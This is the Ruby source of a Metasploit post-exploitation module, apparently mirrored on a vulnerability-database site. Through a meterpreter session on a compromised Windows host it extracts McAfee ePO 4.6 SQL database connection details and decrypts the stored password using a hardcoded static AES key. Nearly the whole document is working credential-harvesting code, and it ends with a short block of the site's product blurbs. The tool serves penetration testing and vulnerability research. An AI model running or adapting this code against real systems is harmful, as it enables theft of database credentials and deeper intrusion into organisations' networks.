##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'net/dns/resolver'
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Registry
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Gather McAfee ePO 4.6 Config SQL Credentials',
'Description' => %q{
This module extracts connection details and decrypts the saved password for the
SQL database in use by a McAfee ePO 4.6 server. The passwords are stored in a
config file. They are encrypted with AES-128-ECB and a static key.
},
'License' => MSF_LICENSE,
'Author' => ['Nathan Einwechter <neinwechter[at]gmail.com>'],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
core_channel_eof
core_channel_open
core_channel_read
core_channel_write
stdapi_net_resolve_host
]
}
}
)
)
end
def run
# Find out where things are installed
print_status('Finding Tomcat install path...')
subkeys = registry_enumkeys('HKLM\Software\Network Associates\ePolicy Orchestrator', REGISTRY_VIEW_32_BIT)
if subkeys.nil? || subkeys.empty?
print_error('ePO 4.6 Not Installed or No Permissions to RegKey')
return
end
# Get the db.properties file location
epol_reg_key = 'HKLM\Software\Network Associates\ePolicy Orchestrator'
dbprops_file = registry_getvaldata(epol_reg_key, 'TomcatFolder', REGISTRY_VIEW_32_BIT)
if dbprops_file.nil? || (dbprops_file == '')
print_error('Could not find db.properties file location')
else
dbprops_file << '/conf/orion/db.properties'
print_good('Found db.properties location')
process_config(dbprops_file)
end
end
def process_config(filename)
config = client.fs.file.new(filename, 'r')
print_status("Processing #{filename}")
contents = config.read
config_lines = contents.split("\n")
for line in config_lines
line.chomp
line_array = line.split('=')
case line_array[0]
when 'db.database.name'
database_name = ''
line_array[1].each_byte { |x| database_name << x unless x > 126 || x < 32 }
when 'db.instance.name'
database_instance = ''
line_array[1].each_byte { |x| database_instance << x unless x > 126 || x < 32 }
when 'db.user.domain'
user_domain = ''
line_array[1].each_byte { |x| user_domain << x unless x > 126 || x < 32 }
when 'db.user.name'
user_name = ''
line_array[1].each_byte { |x| user_name << x unless x > 126 || x < 32 }
when 'db.port'
port = ''
line_array[1].each_byte { |x| port << x unless x > 126 || x < 32 }
when 'db.user.passwd.encrypted.ex'
# ePO 4.6 encrypted password
passwd = ''
line_array[1].each_byte { |x| passwd << x unless x > 126 || x < 32 }
passwd.gsub('\\', '')
# Add any Base64 padding that may have been stripped out
passwd << '=' until (passwd.length % 4 == 0)
plaintext_passwd = decrypt46(passwd)
when 'db.user.passwd.encrypted'
# ePO 4.5 encrypted password - not currently supported, see notes below
passwd = ''
line_array[1].each_byte { |x| passwd << x unless x > 126 || x < 32 }
passwd.gsub('\\', '')
# Add any Base64 padding that may have been stripped out
passwd << '=' until (passwd.length % 4 == 0)
plaintext_passwd = 'PASSWORD NOT RECOVERED - ePO 4.5 DECRYPT SUPPORT IS WIP'
when 'db.server.name'
database_server_name = ''
line_array[1].each_byte { |x| database_server_name << x unless x > 126 || x < 32 }
end
end
# resolve IP address for creds reporting
result = client.net.resolve.resolve_host(database_server_name)
if result[:ip].nil? || result[:ip].empty?
print_error('Could not determine IP of DB - credentials not added to report database')
return
end
db_ip = result[:ip]
print_good("SQL Server: #{database_server_name}")
print_good("SQL Instance: #{database_instance}")
print_good("Database Name: #{database_name}")
if db_ip
print_good("Database IP: #{db_ip}")
end
print_good("Port: #{port}")
if user_domain.nil? || (user_domain == '')
print_good('Authentication Type: SQL')
full_user = user_name
else
print_good('Authentication Type: Domain')
print_good("Domain: #{user_domain}")
full_user = "#{user_domain}\\#{user_name}"
end
print_good("User: #{full_user}")
print_good("Password: #{plaintext_passwd}")
if db_ip
# submit to reports
service_data = {
address: Rex::Socket.getaddress(db_ip),
port: port,
protocol: 'tcp',
service_name: 'mssql',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :session,
session_id: session_db_id,
post_reference_name: refname,
username: full_user,
private_data: plaintext_passwd,
private_type: :password
}
credential_core = create_credential(credential_data.merge(service_data))
login_data = {
core: credential_core,
access_level: 'User',
status: Metasploit::Model::Login::Status::UNTRIED
}
create_credential_login(login_data.merge(service_data))
print_good('Added credentials to report database')
else
print_error('Could not determine IP of DB - credentials not added to report database')
end
end
def decrypt46(encoded)
encrypted_data = Rex::Text.decode_base64(encoded)
aes = OpenSSL::Cipher.new('AES-128-ECB')
aes.decrypt
aes.padding = 0
# Private key extracted from ePO 4.6.0 Build 1029
# If other keys are required for other versions of 4.6 - will have to add version
# identification routines in to the main part of the module
key = [ 94, -100, 62, -33, -26, 37, -124, 54, 102, 33, -109, -128, 49, 90, 41, 51 ]
aes.key = key.pack('C*')
password = aes.update(encrypted_data) + aes.final
# Get rid of all the crazy \f's that result
password.gsub!(/[^[:print:]]/, '')
return password
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation